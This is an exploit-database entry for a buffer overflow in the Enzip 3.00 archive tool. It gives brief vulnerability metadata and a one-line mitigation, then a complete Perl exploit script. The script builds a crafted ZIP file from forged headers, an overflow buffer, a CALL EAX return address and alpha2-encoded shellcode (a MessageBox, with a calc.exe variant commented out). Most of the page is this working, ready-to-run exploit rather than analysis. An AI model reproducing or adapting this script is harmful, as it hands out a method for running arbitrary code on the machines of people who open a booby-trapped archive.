Exploit Buffer Overflow Enzip 3.00

vendor:

Enzip

by:

C4SS!0 G0M3S

7.8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Enzip

Affected Version From: 3

Affected Version To: 3

Patch Exists: YES

Related CWE: N/A

CPE: a:enzip:enzip:3.00

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WIN-XP SP3 Portuguese Brazilian

2011

Exploit Buffer Overflow Enzip 3.00

Exploit Buffer Overflow Enzip 3.00 is a vulnerability in Enzip 3.00 which allows an attacker to execute arbitrary code by creating a specially designed ZIP file. The attacker can then click the button to the right of the file name and select the option to open the program, which in this case is a MessageBox().

Mitigation:

Enzip 3.00 should be updated to the latest version to prevent exploitation of this vulnerability.

Source

Exploit-DB raw data:

#[+]Exploit Title: Exploit Buffer Overflow Enzip 3.00
#[+]Date: 01\06\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.bcuc.ac.uk/files/enzip300.exe
#[+]Version: 3.00
#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN 
#[+]CVE: N/A
#
#
#Create BY C4SS!0 G0M3S
#Louredo_@hotmail.com
#Website http://www.invasao.com.br
#
#
#HOW TO:
#
#OPEN THE FILE WITH THE SPECIALLY DESIGNED ENZIP 3.00
#THEN CLICK BUTTON TO THE RIGHT ON TOP OF THE FILE NAME
#SELECT OPTION THEN OPEN THE PROGRAM SHOWS IN MY CASE Shellcode is a MessageBox ()
#
#


if($#ARGV!=0)
{
system("cls");
system("color 4f");
sub usage
{
print "\n\n".                  
      "             ||========================================||\n".
	  "             ||                                        ||\n".
	  "             ||    Exploit Buffer Overflow Enzip 3.00  ||\n".
	  "             ||    Created BY C4SS!0 G0M3S             ||\n".
	  "             ||    Louredo_\@hotmail.com                ||\n".
	  "             ||                                        ||\n".
	  "             ||========================================||\n\n\n";

	  
print "[+]Exploit: Exploit Buffer Overflow Enzip 3.00\n";
print "[+]Date: 01\\06\\2011\n";
print "[+]Author: C4SS!0 G0M3S\n";
print "[+]Home: www.invasao.com.br\n";
print "[+]Version: 3.00\n";
print "[+]Tested On: WIN-XP SP3 Portuguese Brazilian\n";
print "[+]E-mail: Louredo_\@hotmail.com\n\n";
print "[+]Note:\n\nRead the comments above to Learn How to Exploit Works\n\n\n";

}
usage;
print "[-]Usage: $0 <File Name>\n";
print "[-]Exemple: $0 exploit.zip\n";
exit(0);
	 
}
	  

my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";
usage;
print "[*]Preparing payload\n";
sleep(1);

my $payload = "\x41" x 1024;
$payload .= "BBBB"; #VALUE DE EAX
$payload .= "CCCC"; #VALUE DE EDX
$payload .= "DDDD"; #VALUE DE ECX




$payload .= "\x42" x 1022;
$payload .= pack('V',0x5D54296F); # CALL EAX COMCTL32.DLL



$payload .= "\x43" x 40;


print "[*]Identifying the length Shellcode\n";
sleep(1);

#
#
#SHELLCODE ENCODER USING ALPHA 2 BASEADDRESS EAX
#
#PROMPT:
#
#C:\alpha> alpha2 --uppercase eax < File_name.txt
#
#

$shellcode = 
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI6SYP03O903XRWC9KPPRHR".
"LBL10Q03XWCP26N2DU8453CRE3BV4F8OKCKUMK0CL0PKO8SZ0P38R0R89QN3W6PZOK1O1TQTQB14Q0QS".
"X51E73UW22HPMCUSCT3PT0ZV2PPNYP0NNMPSLKON1VSYYVSN26SYKF1RHPSWP10WPSXQWP00MFSSXV3W".
"Q6PWPBHQ00CWDV3SXU4Q0W2RYRHRO3YD43UE8QU2XD0RLV4V9PSRHGQP0WPQ0CX73P4630SPT1KBJQP1".
"C0QPRKOHPVSYPPPONJZXJK1SLKON6A";
#
#
#OR THIS SHELLCODE WinExec("CALC.EXE",0)
#
#PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYKIPVQXIOO3L5FBPXLN9D
#46DJTNQ5N0XVQD84XK3M8KL33RXE8L4MUP02XOLSUO92XOFVCKEL3X4NNSM5RNJGJP2ELOOSRJM5M64X
#USVQ9WQKWLVSPJUT1XJDFWEZUB4O7SLKKUKUURKZP179M1XKMWRP8EKI2M8YSZW7KCJ8OPL0O7SHSPSY
#41GL7XXWKLCLNK35O0WQCSTPQY1VSXML5O6L5IQCNMHJUNJL1UUOX7VMIWMWK9PXYKN0QE1OFTNVOMUT
#YK7OGT8FOPYLP3K8W5UCOM83KYZA
#
#



print "[*]The length is Shellcode:".length($shellcode)."\n";
sleep(1);



$payload .= $shellcode; 
$payload .= "\x46" x (1568 - length($shellcode));


$payload .= "\x52\x58\x66\x05\xB2\x0B\x40\x40".
"\x40" x 10;
$payload .= "\x50\x98\xd1";


$payload .= "\x4a" x (4064 - length($payload));





$file = $ARGV[0];

$payload = $payload.".txt";
my $zip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;
print "[*]Creating the File $file\n";

open(f,">$file") or die("ERROR\n$!\n");
print f $zip;
close(f);
print "[*]The File $file was Successfully Created\n";
sleep(1);
exit(0);